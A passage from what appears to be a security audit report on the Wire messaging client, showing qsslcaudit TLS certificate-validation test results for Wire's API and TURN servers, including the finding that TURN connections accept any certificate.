&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ASN1 OID: prime256v1<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NIST CURVE: P-256<br /> &nbsp; &nbsp; Signature Algorithm: ecdsa-with-SHA256<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;30:45:02:21:00:81:fa:e2:f7:57:18:cf:40:a7:0c:53:59:51:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;63:fb:35:4f:81:19:2d:6f:ed:2b:bd:5a:38:84:83:ac:e3:7f:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;42:02:20:21:3c:6c:20:bd:b9:ec:7f:09:4d:dd:df:5f:eb:1a:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;65:4b:10:98:ca:88:34:77:6e:0b:1a:42:de:89:95:c2:74</div></div> <h3><a id="user-content-tls-certificates-validation" href="#tls-certificates-validation" name="tls-certificates-validation" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>TLS Certificates Validation</h3> <p>We performed client-side TLS implementation test using our <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/qsslcaudit">qsslcaudit</a> tool. We checked all communication channels that we noted:</p> <ul> <li>prod-nginz-https.wire.com</li> <li>prod-nginz-ssl.wire.com</li> <li>turn03.de.prod.wire.com</li> <li>turn04.de.prod.wire.com</li> </ul> <p>The results were perfectly fine for <code>prod-nginz-https.wire.com</code> and <code>prod-nginz-ssl.wire.com</code>, see the following excerpt:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">$ qsslcaudit -l 0.0.0.0 -p 8443 --user-cert untrusted5.gremwell.com_cert+chain.pem --user-key untrusted5.gremwell.com.key --user-cn prod-nginz-https.wire.com &nbsp;<br /> ...<br /> <br /> tests results summary table:<br /> +----|------------------------------------|------------|-----------------------------+<br /> | ## | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Test Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; Result &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Comment &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> +----|------------------------------------|------------|-----------------------------+<br /> | &nbsp;1 | custom certificate trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp;2 | self-signed certificate for target | &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp; &nbsp;| &nbsp;domain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp;3 | self-signed certificate for invali | &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp; &nbsp;| d domain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp;4 | custom certificate for target doma | &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp; &nbsp;| in trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp;5 | custom certificate for invalid dom | &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp; &nbsp;| ain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp;8 | SSLv2 protocol support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp;9 | SSLv3 protocol support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | 10 | SSLv3 protocol and EXPORT grade ci | &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp; &nbsp;| phers support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | 11 | SSLv3 protocol and LOW grade ciphe | &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp; &nbsp;| rs support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | 12 | SSLv3 protocol and MEDIUM grade ci | &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp; &nbsp;| phers support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | 13 | TLS 1.0 protocol support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | 14 | TLS 1.0 protocol and EXPORT grade &nbsp;| &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| ciphers support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | 15 | TLS 1.0 protocol and LOW grade cip | &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| hers support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | 16 | TLS 1.0 protocol and MEDIUM grade &nbsp;| &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| ciphers support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | 17 | TLS 1.1 protocol and EXPORT grade &nbsp;| &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| ciphers support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | 18 | TLS 1.1 protocol and LOW grade cip | &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| hers support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | 19 | TLS 1.1 protocol and MEDIUM grade &nbsp;| &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| ciphers support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | 20 | TLS 1.2 protocol and EXPORT grade &nbsp;| &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| ciphers support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | 21 | TLS 1.2 protocol and LOW grade cip | &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| hers support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | 22 | TLS 1.2 protocol and MEDIUM grade &nbsp;| &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| ciphers support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> +----|------------------------------------|------------|-----------------------------+<br /> most likely all connections were established by the same client<br /> the first connection details:<br /> source host: 192.168.12.118<br /> dtls?: false<br /> ssl errors: The TLS/SSL connection has been closed The remote host closed the connection<br /> ssl conn established?: true<br /> socket errors ids: 1 1<br /> received data, bytes: 317<br /> transmitted data, bytes: 4231<br /> protocol: TLSv1.2<br /> accepted ciphers: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384:TLS_EMPTY_RENEGOTIATION_INFO_SCSV<br /> SNI: prod-nginz-https.wire.com<br /> ALPN: h2, http/1.1<br /> <br /> qsslcaudit version: 0.8.1</div></div> <p>However, the client trusts any certificate when connecting to TURN servers:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">$ qsslcaudit -l 0.0.0.0 -p 8443 --user-cert untrusted5.gremwell.com_cert+chain.pem --user-key untrusted5.gremwell.com.key --user-cn turn03.de.prod.wire.com<br /> <br /> ...<br /> <br /> tests results summary table:<br /> +----|------------------------------------|------------|-----------------------------+<br /> | ## | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Test Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; Result &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Comment &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> +----|------------------------------------|------------|-----------------------------+<br /> | &nbsp;1 | custom certificate trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | FAILED !!! | mitm possible &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp;2 | self-signed certificate for target | FAILED !!! | -//- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <br /> | &nbsp; &nbsp;| &nbsp;domain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp;3 | self-signed certificate for invali | FAILED !!! | -//- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <br /> | &nbsp; &nbsp;| d domain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp;4 | custom certificate for target doma | FAILED !!! | -//- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <br /> | &nbsp; &nbsp;| in trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp;5 | custom certificate for invalid dom | FAILED !!! | -//- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <br /> | &nbsp; &nbsp;| ain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp;8 | SSLv2 protocol support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp;9 | SSLv3 protocol support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | 10 | SSLv3 protocol and EXPORT grade ci | &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| phers support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | 11 | SSLv3 protocol and LOW grade ciphe | &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| rs support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | 12 | SSLv3 protocol and MEDIUM grade ci | &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| phers support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | 13 | TLS 1.0 protocol support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | FAILED !!! | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | 14 | TLS 1.0 protocol and EXPORT grade &nbsp;| &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| ciphers support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | 15 | TLS 1.0 protocol and LOW grade cip | &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| hers support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | 16 | TLS 1.0 protocol and MEDIUM grade &nbsp;| FAILED !!! | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| ciphers support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | 17 | TLS 1.1 protocol and EXPORT grade &nbsp;| &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| ciphers support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | 18 | TLS 1.1 protocol and LOW grade cip | &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| hers support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | 19 | TLS 1.1 protocol and MEDIUM grade &nbsp;| FAILED !!! | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| ciphers support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | 20 | TLS 1.2 protocol and EXPORT grade &nbsp;| &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| ciphers support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | 21 | TLS 1.2 protocol and LOW grade cip | &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| hers support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | 22 | TLS 1.2 protocol and MEDIUM grade &nbsp;| FAILED !!! | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| ciphers support &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> +----|------------------------------------|------------|-----------------------------+<br /> most likely all connections were established by the same client<br /> the first connection details:<br /> source host: 192.168.12.118<br /> dtls?: false<br /> ssl errors:<br /> ssl conn established?: true<br /> intercepted data:<br /> qsslcaudit version: 0.8.1</div></div> <p>It is a weird result, but we can not consider this as a security issue. The application transmits the same data simultaneously in plain text, using UDP and TCP channels. This communication channel is not used to transfer any sensitive data.</p> <h3><a id="user-content-media-flow-analysis" href="#media-flow-analysis" name="media-flow-analysis" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Media 